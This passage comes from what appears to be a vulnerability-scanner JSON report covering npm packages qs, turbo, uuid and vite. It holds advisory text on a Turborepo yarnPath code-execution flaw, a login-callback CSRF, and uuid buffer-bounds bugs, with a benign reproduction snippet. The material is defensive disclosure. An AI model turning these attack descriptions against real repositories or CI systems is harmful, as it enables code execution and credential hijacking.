|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/ljharb/qs"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-jh39-jp7p-mqmv"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
|
||
"type": "CVSS_V3"
|
||
},
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "qs has a remotely triggerable DoS: qs.stringify crashes with TypeError on null/undefined entries in comma-format arrays when encodeValuesOnly is set"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "turbo",
|
||
"version": "1.13.4",
|
||
"ecosystem": "npm"
|
||
},
|
||
"dependency_groups": [
|
||
"dev"
|
||
],
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-3qcw-2rhx-2726"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-45772",
|
||
"GHSA-3qcw-2rhx-2726"
|
||
],
|
||
"max_severity": "9.8"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-hcf7-66rw-9f5r"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-45773",
|
||
"GHSA-hcf7-66rw-9f5r"
|
||
],
|
||
"max_severity": "5.1"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3qcw-2rhx-2726/GHSA-3qcw-2rhx-2726.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "turbo",
|
||
"purl": "pkg:npm/turbo"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "1.1.0"
|
||
},
|
||
{
|
||
"fixed": "2.9.14"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3qcw-2rhx-2726/GHSA-3qcw-2rhx-2726.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "@turbo/codemod",
|
||
"purl": "pkg:npm/%40turbo%2Fcodemod"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "2.3.4"
|
||
},
|
||
{
|
||
"fixed": "2.9.14"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3qcw-2rhx-2726/GHSA-3qcw-2rhx-2726.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "@turbo/workspaces",
|
||
"purl": "pkg:npm/%40turbo%2Fworkspaces"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "2.3.4"
|
||
},
|
||
{
|
||
"fixed": "2.9.14"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-45772"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-426"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-19T19:46:44Z",
|
||
"nvd_published_at": "2026-05-15T16:16:14Z",
|
||
"severity": "LOW"
|
||
},
|
||
"details": "### Impact \n\nTurborepo can be vulnerable to arbitrary code execution when run in untrusted repositories that contain malicious Yarn configuration. In affected versions, package manager detection executed `yarn --version` from the project directory, which could cause Yarn to load and execute a project-controlled `yarnPath` from `.yarnrc.yml`. An attacker who controls repository contents could cause code execution when a user or CI system runs affected `turbo`, `@turbo/codemod`, or `@turbo/workspace` conversion commands.\n\n### Fix \n\nTurbo now avoids executing project-local Yarn during package manager detection. Yarn versions and paths are inferred from metadata such as `package.json`, parsing the value of `yarnPath` in `.yarnrc.yml` rather than executing it, and `yarn.lock`, and unrecognized Yarn lockfile formats are rejected instead of falling back to executing `yarn`.\n\n### Workarounds \n\nIf you cannot upgrade immediately, do not run Turborepo commands in untrusted repositories. Review or remove `.yarnrc.yml` files that define `yarnPath` before running Turborepo, especially in CI or automated tooling that processes external projects.",
|
||
"id": "GHSA-3qcw-2rhx-2726",
|
||
"modified": "2026-05-27T17:44:19.747288997Z",
|
||
"published": "2026-05-19T19:46:44Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/turborepo/security/advisories/GHSA-3qcw-2rhx-2726"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45772"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/turborepo"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-pw99-w229-w688"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
|
||
"type": "CVSS_V3"
|
||
},
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "Turbo: Unexpected local code execution during Yarn Berry detection"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 2.9.13",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-hcf7-66rw-9f5r/GHSA-hcf7-66rw-9f5r.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "turbo",
|
||
"purl": "pkg:npm/turbo"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "2.9.14"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-45773"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-352"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-19T19:49:52Z",
|
||
"nvd_published_at": "2026-05-15T16:16:15Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Impact\n\nTurborepo's self-hosted login and SSO browser flows did not validate a CSRF state value on the localhost callback. While the CLI was waiting for authentication, a malicious web page could send a request to the local callback server with an attacker-controlled token. If accepted before the legitimate callback, the CLI could complete login with the wrong credentials.\n\nThis affects users authenticating the `turbo` CLI against self-hosted remote cache/auth endpoints. Vercel-hosted login flows using device authorization are not affected.\n\n### Fix\n\nThe login and SSO redirect flows now generate a random state value, include it in the browser authentication URL, and require the same value on the localhost callback before accepting a token. Callbacks with a missing or mismatched state are rejected.\n\n### Workarounds\n\nIf you cannot upgrade immediately, avoid browser-based self-hosted `turbo login` or SSO flows on machines that may load untrusted web content during authentication. Use a pre-provisioned token or environment-based authentication instead.",
|
||
"id": "GHSA-hcf7-66rw-9f5r",
|
||
"modified": "2026-05-27T17:44:20.032213439Z",
|
||
"published": "2026-05-19T19:49:52Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/turborepo/security/advisories/GHSA-hcf7-66rw-9f5r"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45773"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/turborepo"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-c9m8-r6c7-grmh"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:H/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "Trubo: Login callback CSRF/session fixation"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "uuid",
|
||
"version": "10.0.0",
|
||
"ecosystem": "npm"
|
||
},
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-w5hq-g745-h8pq"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-41907",
|
||
"GHSA-w5hq-g745-h8pq"
|
||
],
|
||
"max_severity": "7.5"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "uuid",
|
||
"purl": "pkg:npm/uuid"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "11.1.1"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "uuid",
|
||
"purl": "pkg:npm/uuid"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "12.0.0"
|
||
},
|
||
{
|
||
"fixed": "12.0.1"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "uuid",
|
||
"purl": "pkg:npm/uuid"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.0.0"
|
||
},
|
||
{
|
||
"fixed": "13.0.1"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-41907"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-1285",
|
||
"CWE-787"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-04-22T20:53:24Z",
|
||
"nvd_published_at": "2026-04-24T19:17:14Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Summary\n\nThe `v3()`, `v5()`, and `v6()` [API methods](https://github.com/uuidjs/uuid#api-summary) (not `uuid` release versions) accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`). \nBy contrast, `v4()`, `v1()`, and `v7()` API methods explicitly throw `RangeError` on invalid bounds.\n\nThis inconsistency allows **silent partial writes** into caller-provided buffers.\n\n\n### Affected code\n\n- `src/v35.ts` (`v3()`/`v5()` path) writes `buf[offset + i]` without bounds validation.\n- `src/v6.ts` writes `buf[offset + i]` without bounds validation.\n\n### Reproducible PoC\n\n```bash\ncd /home/StrawHat/uuid\nnpm ci\nnpm run build\n\nnode --input-type=module -e \"\nimport {v4,v5,v6} from './dist-node/index.js';\nconst ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';\nfor (const [name,fn] of [\n ['v4()',()=\u003ev4({},new Uint8Array(8),4)],\n ['v5()',()=\u003ev5('x',ns,new Uint8Array(8),4)],\n ['v6()',()=\u003ev6({},new Uint8Array(8),4)],\n]) {\n try { fn(); console.log(name,'NO_THROW'); }\n catch(e){ console.log(name,'THREW',e.name); }\n}\"\n```\n\nObserved:\n\n- `v4() THREW RangeError`\n- `v5() NO_THROW`\n- `v6() NO_THROW`\n\nExample partial overwrite evidence captured during audit:\n\n```text\nsame true buf [\n 170, 170, 170, 170,\n 75, 224, 100, 63\n]\nv6 [\n 187, 187, 187, 187,\n 31, 19, 185, 64\n]\n```\n\n### Security impact\n\n- **Primary**: integrity/robustness issue (silent partial output).\n- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.\n- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.\n\n### Suggested fix\n\nAdd the same guard used by `v4()`/`v1()`/`v7()`:\n\n```ts\nif (offset \u003c 0 || offset + 16 \u003e buf.length) {\n throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);\n}\n```\n\nApply to:\n\n- `src/v35.ts` (covers `v3()` and `v5()`)\n- `src/v6.ts`",
|
||
"id": "GHSA-w5hq-g745-h8pq",
|
||
"modified": "2026-05-21T18:30:08.363810781Z",
|
||
"published": "2026-04-22T20:53:24Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/security/advisories/GHSA-w5hq-g745-h8pq"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41907"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/commit/32389c887c9e75f90442ee4cc95bbab0c4e8346e"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/commit/3d2c5b0342f0fcb52a5ac681c3d47c13e7444b34"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/commit/3d61d6ac1f782cf6b1dd8661c60f11722cd49a0d"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/commit/9d27ddf7046ce496ef39569ff84d948eeff9cb2a"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/uuidjs/uuid"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/releases/tag/v11.1.1"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/releases/tag/v12.0.1"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/releases/tag/v13.0.1"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/releases/tag/v14.0.0"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-cfw7-cq6w-m5hj"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
|
||
"type": "CVSS_V3"
|
||
},
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "uuid",
|
||
"version": "8.3.2",
|
||
"ecosystem": "npm"
|
||
},
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-w5hq-g745-h8pq"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-41907",
|
||
"GHSA-w5hq-g745-h8pq"
|
||
],
|
||
"max_severity": "7.5"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "uuid",
|
||
"purl": "pkg:npm/uuid"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "11.1.1"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "uuid",
|
||
"purl": "pkg:npm/uuid"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "12.0.0"
|
||
},
|
||
{
|
||
"fixed": "12.0.1"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "uuid",
|
||
"purl": "pkg:npm/uuid"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.0.0"
|
||
},
|
||
{
|
||
"fixed": "13.0.1"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-41907"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-1285",
|
||
"CWE-787"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-04-22T20:53:24Z",
|
||
"nvd_published_at": "2026-04-24T19:17:14Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Summary\n\nThe `v3()`, `v5()`, and `v6()` [API methods](https://github.com/uuidjs/uuid#api-summary) (not `uuid` release versions) accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`). \nBy contrast, `v4()`, `v1()`, and `v7()` API methods explicitly throw `RangeError` on invalid bounds.\n\nThis inconsistency allows **silent partial writes** into caller-provided buffers.\n\n\n### Affected code\n\n- `src/v35.ts` (`v3()`/`v5()` path) writes `buf[offset + i]` without bounds validation.\n- `src/v6.ts` writes `buf[offset + i]` without bounds validation.\n\n### Reproducible PoC\n\n```bash\ncd /home/StrawHat/uuid\nnpm ci\nnpm run build\n\nnode --input-type=module -e \"\nimport {v4,v5,v6} from './dist-node/index.js';\nconst ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';\nfor (const [name,fn] of [\n ['v4()',()=\u003ev4({},new Uint8Array(8),4)],\n ['v5()',()=\u003ev5('x',ns,new Uint8Array(8),4)],\n ['v6()',()=\u003ev6({},new Uint8Array(8),4)],\n]) {\n try { fn(); console.log(name,'NO_THROW'); }\n catch(e){ console.log(name,'THREW',e.name); }\n}\"\n```\n\nObserved:\n\n- `v4() THREW RangeError`\n- `v5() NO_THROW`\n- `v6() NO_THROW`\n\nExample partial overwrite evidence captured during audit:\n\n```text\nsame true buf [\n 170, 170, 170, 170,\n 75, 224, 100, 63\n]\nv6 [\n 187, 187, 187, 187,\n 31, 19, 185, 64\n]\n```\n\n### Security impact\n\n- **Primary**: integrity/robustness issue (silent partial output).\n- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.\n- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.\n\n### Suggested fix\n\nAdd the same guard used by `v4()`/`v1()`/`v7()`:\n\n```ts\nif (offset \u003c 0 || offset + 16 \u003e buf.length) {\n throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);\n}\n```\n\nApply to:\n\n- `src/v35.ts` (covers `v3()` and `v5()`)\n- `src/v6.ts`",
|
||
"id": "GHSA-w5hq-g745-h8pq",
|
||
"modified": "2026-05-21T18:30:08.363810781Z",
|
||
"published": "2026-04-22T20:53:24Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/security/advisories/GHSA-w5hq-g745-h8pq"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41907"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/commit/32389c887c9e75f90442ee4cc95bbab0c4e8346e"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/commit/3d2c5b0342f0fcb52a5ac681c3d47c13e7444b34"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/commit/3d61d6ac1f782cf6b1dd8661c60f11722cd49a0d"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/commit/9d27ddf7046ce496ef39569ff84d948eeff9cb2a"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/uuidjs/uuid"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/releases/tag/v11.1.1"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/releases/tag/v12.0.1"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/releases/tag/v13.0.1"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/releases/tag/v14.0.0"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-cfw7-cq6w-m5hj"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
|
||
"type": "CVSS_V3"
|
||
},
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "uuid",
|
||
"version": "9.0.1",
|
||
"ecosystem": "npm"
|
||
},
|
||
"dependency_groups": [
|
||
"optional"
|
||
],
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-w5hq-g745-h8pq"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-41907",
|
||
"GHSA-w5hq-g745-h8pq"
|
||
],
|
||
"max_severity": "7.5"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "uuid",
|
||
"purl": "pkg:npm/uuid"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "11.1.1"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "uuid",
|
||
"purl": "pkg:npm/uuid"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "12.0.0"
|
||
},
|
||
{
|
||
"fixed": "12.0.1"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "uuid",
|
||
"purl": "pkg:npm/uuid"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.0.0"
|
||
},
|
||
{
|
||
"fixed": "13.0.1"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-41907"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-1285",
|
||
"CWE-787"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-04-22T20:53:24Z",
|
||
"nvd_published_at": "2026-04-24T19:17:14Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Summary\n\nThe `v3()`, `v5()`, and `v6()` [API methods](https://github.com/uuidjs/uuid#api-summary) (not `uuid` release versions) accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`). \nBy contrast, `v4()`, `v1()`, and `v7()` API methods explicitly throw `RangeError` on invalid bounds.\n\nThis inconsistency allows **silent partial writes** into caller-provided buffers.\n\n\n### Affected code\n\n- `src/v35.ts` (`v3()`/`v5()` path) writes `buf[offset + i]` without bounds validation.\n- `src/v6.ts` writes `buf[offset + i]` without bounds validation.\n\n### Reproducible PoC\n\n```bash\ncd /home/StrawHat/uuid\nnpm ci\nnpm run build\n\nnode --input-type=module -e \"\nimport {v4,v5,v6} from './dist-node/index.js';\nconst ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';\nfor (const [name,fn] of [\n ['v4()',()=\u003ev4({},new Uint8Array(8),4)],\n ['v5()',()=\u003ev5('x',ns,new Uint8Array(8),4)],\n ['v6()',()=\u003ev6({},new Uint8Array(8),4)],\n]) {\n try { fn(); console.log(name,'NO_THROW'); }\n catch(e){ console.log(name,'THREW',e.name); }\n}\"\n```\n\nObserved:\n\n- `v4() THREW RangeError`\n- `v5() NO_THROW`\n- `v6() NO_THROW`\n\nExample partial overwrite evidence captured during audit:\n\n```text\nsame true buf [\n 170, 170, 170, 170,\n 75, 224, 100, 63\n]\nv6 [\n 187, 187, 187, 187,\n 31, 19, 185, 64\n]\n```\n\n### Security impact\n\n- **Primary**: integrity/robustness issue (silent partial output).\n- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.\n- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.\n\n### Suggested fix\n\nAdd the same guard used by `v4()`/`v1()`/`v7()`:\n\n```ts\nif (offset \u003c 0 || offset + 16 \u003e buf.length) {\n throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);\n}\n```\n\nApply to:\n\n- `src/v35.ts` (covers `v3()` and `v5()`)\n- `src/v6.ts`",
|
||
"id": "GHSA-w5hq-g745-h8pq",
|
||
"modified": "2026-05-21T18:30:08.363810781Z",
|
||
"published": "2026-04-22T20:53:24Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/security/advisories/GHSA-w5hq-g745-h8pq"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41907"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/commit/32389c887c9e75f90442ee4cc95bbab0c4e8346e"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/commit/3d2c5b0342f0fcb52a5ac681c3d47c13e7444b34"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/commit/3d61d6ac1f782cf6b1dd8661c60f11722cd49a0d"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/commit/9d27ddf7046ce496ef39569ff84d948eeff9cb2a"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/uuidjs/uuid"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/releases/tag/v11.1.1"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/releases/tag/v12.0.1"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/releases/tag/v13.0.1"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/uuidjs/uuid/releases/tag/v14.0.0"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-cfw7-cq6w-m5hj"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
|
||
"type": "CVSS_V3"
|
||
},
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "vite",
|
||
"version": "5.4.21",
|
||
"ecosystem": "npm"
|
||
},
|
||
"dependency_groups": [
|
||
